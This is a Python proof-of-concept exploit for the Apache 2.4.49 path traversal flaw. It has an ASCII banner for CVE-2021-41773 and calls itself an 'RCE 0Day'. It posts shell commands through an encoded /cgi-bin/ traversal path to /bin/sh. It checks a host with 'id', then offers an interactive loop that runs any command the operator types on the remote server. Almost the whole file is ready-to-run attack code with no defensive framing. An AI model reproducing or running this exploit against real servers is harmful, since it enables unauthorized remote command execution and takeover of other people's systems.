from colorama.initialise import reset_all
import urllib3
from urllib3.util.timeout import Timeout
from colorama import Fore


def cve_request(ip, cmd):
    http = urllib3.PoolManager()
    url = rf"http://{ip}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
    d = f"echo Content-Type: text/plain; echo; {cmd}"
    r = http.request("POST", url, body=d,
                     timeout=Timeout(connect=2.0, read=2.0))
    return r.data.decode('utf-8')


def checkForCVE_RCE(ip):
    try:
        result = cve_request(ip, "id")
        if "groups=" in result:
            print(Fore.GREEN+"[+] Vunerable! (RCE)"+Fore.RESET +
                  f"\n[-] IP: {ip}"+f"\n[-] Url: http://{ip}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh\n[-] Cmd: id\n")
            print(result)
            question = input("Do you want a basic shell? y/n: ")
            while True:
                if question == "y":
                    # Web shell (basic)
                    while True:
                        cmd = input("(CmD):$ ")
                        if cmd == "--quit":
                            exit(0)
                        r = cve_request(ip, cmd)
                        print(r)
                if question == "n":
                    exit(0)
                else:
                    question = input("Want a basic shell? y/n: ")
        else:
            print(Fore.RED + "[!] Not Vunerable (RCE)" +
                  Fore.RESET + f"\n[-] IP: {ip}")
    except Exception as e:
        return


def banner():
    return Fore.CYAN + """   _______      ________    ___   ___ ___  __        _  _  __ ______ ______ ____  
  / ____\ \    / /  ____|  |__ \ / _ \__ \/_ |      | || |/_ |____  |____  |___ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) || |______| || |_| |   / /    / /  __) |
 | |      \ \/ / |  __|______/ /| | | |/ / | |______|__   _| |  / /    / /  |__ < 
 | |____   \  /  | |____    / /_| |_| / /_ | |         | | | | / /    / /   ___) |
  \_____|   \/   |______|  |____|\___/____||_|         |_| |_|/_/    /_/   |____/ 
                                                                                                                                                                   
    """+Fore.RESET + "\nApache 2.4.49 RCE 0Day\nPoc Created By: Ac1d\n"


def main():

    print(banner())
    ip = input("Enter ip: ")
    checkForCVE_RCE(ip)


if __name__ == "__main__":
    main()
